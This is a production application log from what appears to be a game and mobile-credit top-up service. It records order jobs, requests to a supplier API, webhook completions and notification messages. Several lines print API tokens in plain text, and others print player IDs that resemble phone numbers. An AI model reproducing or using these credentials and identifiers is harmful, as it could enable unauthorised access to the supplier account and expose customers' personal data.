[2026-03-24 17:44:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"bTV9Pbge2V8JS5uJVVls5fmXgptdlkc1","execution_time":"2026-03-24 17:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oy5yKi3-1774363375","operation_id":163933,"processed":3,"errors":0} 
[2026-03-24 17:44:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"bTV9Pbge2V8JS5uJVVls5fmXgptdlkc1","execution_time":"2026-03-24 17:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oy5yKi3-1774363375","operation_id":163933,"processed":3,"errors":0} 
[2026-03-24 17:44:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"bTV9Pbge2V8JS5uJVVls5fmXgptdlkc1","execution_time":"2026-03-24 17:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oy5yKi3-1774363375","operation_id":163933} 
[2026-03-24 17:44:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 32  
[2026-03-24 17:44:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 17:44:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 17:44:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 348  
[2026-03-24 17:44:17] production.INFO: Constructing job for order: 179029  
[2026-03-24 17:44:19] production.INFO: Handling job for order: 179029  
[2026-03-24 17:44:19] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:44:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:44:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=fd1f38b1-6f07-40cf-9934-5cda1b958f1a&Player_ID=52160134484  
[2026-03-24 17:44:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=fd1f38b1-6f07-40cf-9934-5cda1b958f1a&Player_ID=52160134484","has_body":false} 
[2026-03-24 17:44:20] production.INFO: Operation sent successfully {"operation_id":163934,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-j7G6-1774363460","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:44:20"}},"processed_data":{"order_number":"ORD-j7G6-1774363460","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 17:44:26] production.INFO: Constructing job for order: 179030  
[2026-03-24 17:44:29] production.INFO: Handling job for order: 179030  
[2026-03-24 17:44:29] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:44:29] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:44:29] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=699e2c6f-a140-41ce-a8ca-9f0e4009905d&Player_ID=51540471860  
[2026-03-24 17:44:29] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=699e2c6f-a140-41ce-a8ca-9f0e4009905d&Player_ID=51540471860","has_body":false} 
[2026-03-24 17:44:30] production.INFO: Operation sent successfully {"operation_id":163935,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-evL-1774363470","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:44:30"}},"processed_data":{"order_number":"ORD-evL-1774363470","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 17:44:31] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-j7G6-1774363460","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:44:31] production.INFO: Processed webhook data (normalized) {"id":"ORD-j7G6-1774363460","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:44:31] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:44:31] production.INFO: SendAcceptReject: Notification queued {"user_id":237,"notification_type":"order_approved","reference_id":179029} 
[2026-03-24 17:44:31] production.INFO: Order updated successfully. Order ID: 179029, Status: completed  
[2026-03-24 17:44:31] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-j7G6-1774363460","status":"completed","codes_count":0} 
[2026-03-24 17:44:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 237  
[2026-03-24 17:44:41] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-evL-1774363470","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:44:41] production.INFO: Processed webhook data (normalized) {"id":"ORD-evL-1774363470","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:44:41] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:44:41] production.INFO: SendAcceptReject: Notification queued {"user_id":1609,"notification_type":"order_approved","reference_id":179030} 
[2026-03-24 17:44:41] production.INFO: Order updated successfully. Order ID: 179030, Status: completed  
[2026-03-24 17:44:41] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-evL-1774363470","status":"completed","codes_count":0} 
[2026-03-24 17:44:42] production.INFO: SendAcceptReject: Notification queued {"user_id":314,"notification_type":"order_approved","reference_id":179015} 
[2026-03-24 17:44:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1609  
[2026-03-24 17:44:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 314  
[2026-03-24 17:45:02] production.INFO: Constructing job for order: 179031  
[2026-03-24 17:45:03] production.INFO: Executing GetProducts task...  
[2026-03-24 17:45:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 17:45:03] production.INFO: Executing GetProducts task...  
[2026-03-24 17:45:05] production.INFO: async() رجع: true  
[2026-03-24 17:45:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 17:45:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 17:45:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 17:45:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 17:45:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 17:45:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 17:45:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 17:45:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 17:45:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 17:45:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 17:45:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 17:45:07] production.INFO: Handling job for order: 179031  
[2026-03-24 17:45:07] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 17:45:07] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:45:07] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=03714e39-1be5-4061-b537-413950871f0c&Player_ID=0957629261  
[2026-03-24 17:45:07] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=03714e39-1be5-4061-b537-413950871f0c&Player_ID=0957629261","has_body":false} 
[2026-03-24 17:45:08] production.INFO: Operation sent successfully {"operation_id":163936,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-3SsazDH-1774363507","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 17:45:08"}},"processed_data":{"order_number":"ORD-3SsazDH-1774363507","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 17:45:09] production.INFO: Constructing job for order: 179032  
[2026-03-24 17:45:11] production.INFO: Handling job for order: 179032  
[2026-03-24 17:45:11] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:45:11] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:45:11] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/604/params?qty=35000&uuid=953097ce-1ac8-4aab-a627-34dc41ea1731&Player_ID=3474829  
[2026-03-24 17:45:11] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/604/params?qty=35000&uuid=953097ce-1ac8-4aab-a627-34dc41ea1731&Player_ID=3474829","has_body":false} 
[2026-03-24 17:45:11] production.INFO: Operation sent successfully {"operation_id":163937,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-WRW9-1774363511","amount":3.435424999999999950972551232553087174892425537109375,"status":"processing","product":"Cocco Amount","game":"Cocco","notes":[],"created_at":"2026-03-24 17:45:11"}},"processed_data":{"order_number":"ORD-WRW9-1774363511","amount":3.435424999999999950972551232553087174892425537109375,"status":"processing","product":"Cocco Amount","game":"Cocco"}} 
[2026-03-24 17:45:17] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-WRW9-1774363511","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 17:45:17] production.INFO: Processed webhook data (normalized) {"id":"ORD-WRW9-1774363511","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 17:45:17] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:45:17] production.INFO: SendAcceptReject: Notification queued {"user_id":1466,"notification_type":"order_approved","reference_id":179032} 
[2026-03-24 17:45:17] production.INFO: Order updated successfully. Order ID: 179032, Status: completed  
[2026-03-24 17:45:17] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-WRW9-1774363511","status":"completed","codes_count":0} 
[2026-03-24 17:45:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1466  
[2026-03-24 17:45:19] production.INFO: Constructing job for order: 179033  
[2026-03-24 17:45:20] production.INFO: Handling job for order: 179033  
[2026-03-24 17:45:20] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:45:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:45:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=21f8109a-a9d6-4dec-a5e1-ca27f42ce21f&Player_ID=52160134484  
[2026-03-24 17:45:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=21f8109a-a9d6-4dec-a5e1-ca27f42ce21f&Player_ID=52160134484","has_body":false} 
[2026-03-24 17:45:21] production.INFO: Operation sent successfully {"operation_id":163938,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-rar-1774363521","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:45:21"}},"processed_data":{"order_number":"ORD-rar-1774363521","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 17:45:35] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-rar-1774363521","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:45:35] production.INFO: Processed webhook data (normalized) {"id":"ORD-rar-1774363521","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:45:35] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:45:35] production.INFO: SendAcceptReject: Notification queued {"user_id":237,"notification_type":"order_approved","reference_id":179033} 
[2026-03-24 17:45:35] production.INFO: Order updated successfully. Order ID: 179033, Status: completed  
[2026-03-24 17:45:35] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-rar-1774363521","status":"completed","codes_count":0} 
[2026-03-24 17:45:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 237  
[2026-03-24 17:46:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:03"} 
[2026-03-24 17:46:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:03","total_operations":2,"sites_count":2} 
[2026-03-24 17:46:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-j5G7ZL-1774360319"]} 
[2026-03-24 17:46:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:46:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 17:46:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:46:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 17:46:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"errors":0} 
[2026-03-24 17:46:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"orders_count":1,"order_ids":["ORD-3SsazDH-1774363507"]} 
[2026-03-24 17:46:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:46:04] production.INFO: SendAcceptReject: Notification queued {"user_id":1285,"notification_type":"request_approved","reference_id":18658} 
[2026-03-24 17:46:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"orders_count":1} 
[2026-03-24 17:46:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3SsazDH-1774363507","operation_id":163936,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 17:46:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3SsazDH-1774363507","operation_id":163936,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 17:46:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3SsazDH-1774363507","operation_id":163936,"count":1} 
[2026-03-24 17:46:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3SsazDH-1774363507","operation_id":163936,"count":1} 
[2026-03-24 17:46:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3SsazDH-1774363507","operation_id":163936,"user_id":1071,"notification_type":"order_approved","reference_id":179031} 
[2026-03-24 17:46:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3SsazDH-1774363507","operation_id":163936,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 17:46:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3SsazDH-1774363507","operation_id":163936,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 17:46:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3SsazDH-1774363507","operation_id":163936,"processed":1,"errors":0} 
[2026-03-24 17:46:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3SsazDH-1774363507","operation_id":163936,"processed":1,"errors":0} 
[2026-03-24 17:46:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"8W78Hyh8fuB1qYyQJxocTCPNOUH95opD","execution_time":"2026-03-24 17:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3SsazDH-1774363507","operation_id":163936} 
[2026-03-24 17:46:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1285  
[2026-03-24 17:46:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1071  
[2026-03-24 17:46:18] production.INFO: Constructing job for order: 179034  
[2026-03-24 17:46:19] production.INFO: Handling job for order: 179034  
[2026-03-24 17:46:19] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:46:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:46:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=24056b72-8af0-4002-aca9-722fe36c1c00&Player_ID=51540471860  
[2026-03-24 17:46:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=24056b72-8af0-4002-aca9-722fe36c1c00&Player_ID=51540471860","has_body":false} 
[2026-03-24 17:46:20] production.INFO: Operation sent successfully {"operation_id":163939,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-aprQ-1774363579","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:46:20"}},"processed_data":{"order_number":"ORD-aprQ-1774363579","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 17:46:31] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-aprQ-1774363579","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:46:31] production.INFO: Processed webhook data (normalized) {"id":"ORD-aprQ-1774363579","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:46:31] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:46:31] production.INFO: SendAcceptReject: Notification queued {"user_id":1609,"notification_type":"order_approved","reference_id":179034} 
[2026-03-24 17:46:31] production.INFO: Order updated successfully. Order ID: 179034, Status: completed  
[2026-03-24 17:46:31] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-aprQ-1774363579","status":"completed","codes_count":0} 
[2026-03-24 17:46:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1609  
[2026-03-24 17:46:58] production.INFO: Constructing job for order: 179035  
[2026-03-24 17:46:59] production.INFO: Handling job for order: 179035  
[2026-03-24 17:46:59] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 17:46:59] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:46:59] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=b3a35d31-0a3e-4afe-86f7-5ae6461a01e8&Player_ID=0967410363  
[2026-03-24 17:46:59] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=b3a35d31-0a3e-4afe-86f7-5ae6461a01e8&Player_ID=0967410363","has_body":false} 
[2026-03-24 17:46:59] production.INFO: Operation sent successfully {"operation_id":163940,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-LYPtqFs0-1774363619","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 17:46:59"}},"processed_data":{"order_number":"ORD-LYPtqFs0-1774363619","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 17:47:03] production.INFO: Constructing job for order: 179036  
[2026-03-24 17:47:05] production.INFO: Handling job for order: 179036  
[2026-03-24 17:47:05] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 17:47:05] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:47:05] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/17/params?qty=1&uuid=b74c8076-0410-49a4-a794-acf116bb5a26&Player_ID=0949295706  
[2026-03-24 17:47:05] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/17/params?qty=1&uuid=b74c8076-0410-49a4-a794-acf116bb5a26&Player_ID=0949295706","has_body":false} 
[2026-03-24 17:47:06] production.INFO: Operation sent successfully {"operation_id":163941,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-H7iHs-1774363626","amount":633.2015999999999849023879505693912506103515625,"status":"processing","product":"600 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 17:47:06"}},"processed_data":{"order_number":"ORD-H7iHs-1774363626","amount":633.2015999999999849023879505693912506103515625,"status":"processing","product":"600 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 17:47:07] production.INFO: Constructing job for order: 179037  
[2026-03-24 17:47:09] production.INFO: Handling job for order: 179037  
[2026-03-24 17:47:09] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 17:47:09] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:47:09] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=51b1279d-bfcf-43d1-9302-7175e03e21e8&Player_ID=0949295706  
[2026-03-24 17:47:09] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=51b1279d-bfcf-43d1-9302-7175e03e21e8&Player_ID=0949295706","has_body":false} 
[2026-03-24 17:47:10] production.INFO: Operation sent successfully {"operation_id":163942,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-OBzx-1774363630","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 17:47:10"}},"processed_data":{"order_number":"ORD-OBzx-1774363630","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 17:47:23] production.INFO: Constructing job for order: 179038  
[2026-03-24 17:47:25] production.INFO: Handling job for order: 179038  
[2026-03-24 17:47:25] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:47:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:47:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=5001ce75-21a6-446d-ba00-6bbea64ca93d&Player_ID=5750842132  
[2026-03-24 17:47:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=5001ce75-21a6-446d-ba00-6bbea64ca93d&Player_ID=5750842132","has_body":false} 
[2026-03-24 17:47:26] production.INFO: Operation sent successfully {"operation_id":163943,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-J27-1774363645","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:47:26"}},"processed_data":{"order_number":"ORD-J27-1774363645","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 17:47:37] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-J27-1774363645","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:47:37] production.INFO: Processed webhook data (normalized) {"id":"ORD-J27-1774363645","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:47:37] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:47:37] production.INFO: SendAcceptReject: Notification queued {"user_id":69,"notification_type":"order_approved","reference_id":179038} 
[2026-03-24 17:47:37] production.INFO: Order updated successfully. Order ID: 179038, Status: completed  
[2026-03-24 17:47:37] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-J27-1774363645","status":"completed","codes_count":0} 
[2026-03-24 17:47:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 69  
[2026-03-24 17:47:53] production.INFO: Constructing job for order: 179039  
[2026-03-24 17:47:54] production.INFO: Constructing job for order: 179040  
[2026-03-24 17:47:56] production.INFO: Handling job for order: 179039  
[2026-03-24 17:47:56] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:47:56] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:47:56] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=4000&uuid=2ee7c49b-c911-4344-9787-d9b09db6c636&Player_ID=45214301  
[2026-03-24 17:47:56] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=4000&uuid=2ee7c49b-c911-4344-9787-d9b09db6c636&Player_ID=45214301","has_body":false} 
[2026-03-24 17:47:57] production.INFO: Operation sent successfully {"operation_id":163944,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-vBbMk-1774363676","amount":6.866689199999999715373633080162107944488525390625,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 17:47:57"}},"processed_data":{"order_number":"ORD-vBbMk-1774363676","amount":6.866689199999999715373633080162107944488525390625,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 17:47:57] production.INFO: Handling job for order: 179040  
[2026-03-24 17:47:57] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:47:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/278/params?qty=1&uuid=f429e39f-33b5-4ac0-aed4-3f44fbb08e3d  
[2026-03-24 17:47:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/278/params?qty=1&uuid=f429e39f-33b5-4ac0-aed4-3f44fbb08e3d","has_body":false} 
